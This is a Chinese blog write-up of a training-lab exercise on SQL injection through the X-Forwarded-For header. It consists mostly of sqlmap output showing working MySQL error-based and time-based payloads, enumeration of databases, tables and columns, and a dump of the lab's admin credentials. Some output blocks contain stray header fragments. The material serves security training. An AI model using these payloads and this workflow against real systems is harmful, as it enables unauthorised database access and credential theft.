

墨者学院——X-Forwarded-For注入漏洞实战writeUp

原创

NineMeet_111 于 2019-12-24 15:29:17 发布 204 收藏

分类专栏: [信息安全](#) 文章标签: [信息安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_43862283/article/details/103683857

版权



[信息安全](#) 专栏收录该内容

14 篇文章 0 订阅

订阅专栏

墨者学院篇

X-Forwarded-For注入漏洞实战

实训目标

- 1、掌握SQL注入的基本原理;
- 2、了解服务器获取客户端IP的方式;
- 3、了解SQL注入的工具使用;

解题方向

对登录表单的各参数进行测试, 找到SQL注入点, 对数据库内容进行读取, 找到账号与密码。

解题思路

判断注入点

```
[02:57:29] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[02:57:29] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[02:57:29] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
(custom) HEADER parameter 'X-Forwarded-For #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 744 HTTP(s) requests:
Parameter: X-Forwarded-For #1* ((custom) HEADER)
Payload: '||(SELECT 0x65564672 FROM DUAL WHERE 2106=2106 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7178627171,(SELECT (ELT(1617=1617,1))),0x716b765a71,0x78))s), 8446744073709551610, 8446744073709551610))))|'|
Title: MySQL >= 5.5 AND error-based -- WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: '||(SELECT 0x4e53744d FROM DUAL WHERE 5680=5680 AND SLEEP(5))|'|
Title: MySQL >= 5.0.12 AND time-based blind
Payload: '||(SELECT 0x4e53744d FROM DUAL WHERE 5680=5680 AND SLEEP(5))|'|
[02:57:29] [INFO] the back-end DBMS is MySQL
```

爆破数据库

```
Parameter: X-Forwarded-For #1* ((custom) HEADER)
Title: MySQL >= 5.0.12 AND time-based blind
Payload: '||(SELECT 0x4e53744d FROM DUAL WHERE 5680=5680 AND SLEEP(5))|'|
[03:06:41] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[03:06:41] [INFO] fetching database names
```

```
[03:06:41] [INFO] heuristics detected web page charset 'ascii'
[03:06:41] [INFO] used SQL query returns 2 entries
[03:06:41] [INFO] retrieved: 'information_schema'
[03:06:41] [INFO] retrieved: 'webcalendar'
available databases [2]:
[*] information_schema
[*] webcalendar
language: zh-CN,zh;q=0.9
[03:06:41] [INFO] fetched data logged to text files under '/root/.sqlmap/output/219.153.49.228'

[*] ending @ 03:06:41 /2019-11-25/ /Desktop#
root@kali:~/Desktop#
```

https://blog.csdn.net/weixin_43862283

爆破数据表

```
File Edit View Search Terminal Help
mount-shared-folders X-Forward-For.txt
[04:51:13] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[04:51:13] [INFO] fetching tables for database: 'webcalendar'
[04:51:13] [INFO] heuristics detected web page charset 'ascii'
[04:51:13] [INFO] used SQL query returns 2 entries
[04:51:14] [INFO] retrieved: 'logins'
[04:51:14] [INFO] retrieved: 'user'
Database: webcalendar
[2 tables]
+----+-----+application/xhtml+xml,application/xml;q=0.9,image/webp,image/a
| user |
| logins |
+----+-----+
language: zh-CN,zh;q=0.9
[04:51:14] [INFO] fetched data logged to text files under '/root/.sqlmap/output/219.153.49.228'

[*] ending @ 04:51:14 /2019-11-25/ /Desktop#
root@kali:~/Desktop#
```

https://blog.csdn.net/weixin_43862283

爆破数据库列

```
[04:52:44] [INFO] retrieved: 'id'
[04:52:44] [INFO] retrieved: 'int(11)'
[04:52:44] [INFO] retrieved: 'username'
[04:52:44] [INFO] retrieved: 'varchar(50)'
[04:52:45] [INFO] retrieved: 'password'
[04:52:46] [INFO] retrieved: 'varchar(50)'
Database: webcalendar
Table: user
[3 columns]
+----+-----+application/xhtml+xml,application/xml;q=0.9,image/webp,image/a
| id | int(11) |
| password | varchar(50) |
| username | varchar(50) |
+----+-----+
language: zh-CN,zh;q=0.9
[04:52:46] [INFO] fetched data logged to text files under '/root/.sqlmap/output/219.153.49.228'

[*] ending @ 04:52:46 /2019-11-25/ /Desktop#
root@kali:~/Desktop#
```

https://blog.csdn.net/weixin_43862283

爆破字段

```
File Edit View Search Terminal Help
[04:55:25] [INFO] heuristics detected web page charset 'ascii'
[04:55:25] [INFO] used SQL query returns 1 entry
[04:55:25] [INFO] retrieved: '1'
[04:55:25] [INFO] retrieved: '209676142'
[04:55:25] [INFO] retrieved: 'admin'
Database: webcalendar
Table: user
[1 entry]
+----+-----+application/xhtml+xml,application/xml;q=0.9,image/webp,image/a
| id | username | password |
+----+-----+
| 1 | admin | 209676142 |
+----+-----+
language: zh-CN,zh;q=0.9
http://219.153.49.228:49652/index.php
```

```
[04:55:25]: [INFO] table 'webcalendar.`user`' dumped to CSV file '/root/.sqlmap/output/219.153.49.228/dump/webcalendar/user.csv'
[04:55:25] [INFO] fetched data logged to text files under '/root/.sqlmap/output/219.153.49.228'

[*] ending @ 04:55:25 /2019-11-25/ /Desktop#
root@kali:~/Desktop#
```

将用户名秘密输入登录框，得到key

https://blog.csdn.net/weixin_43862283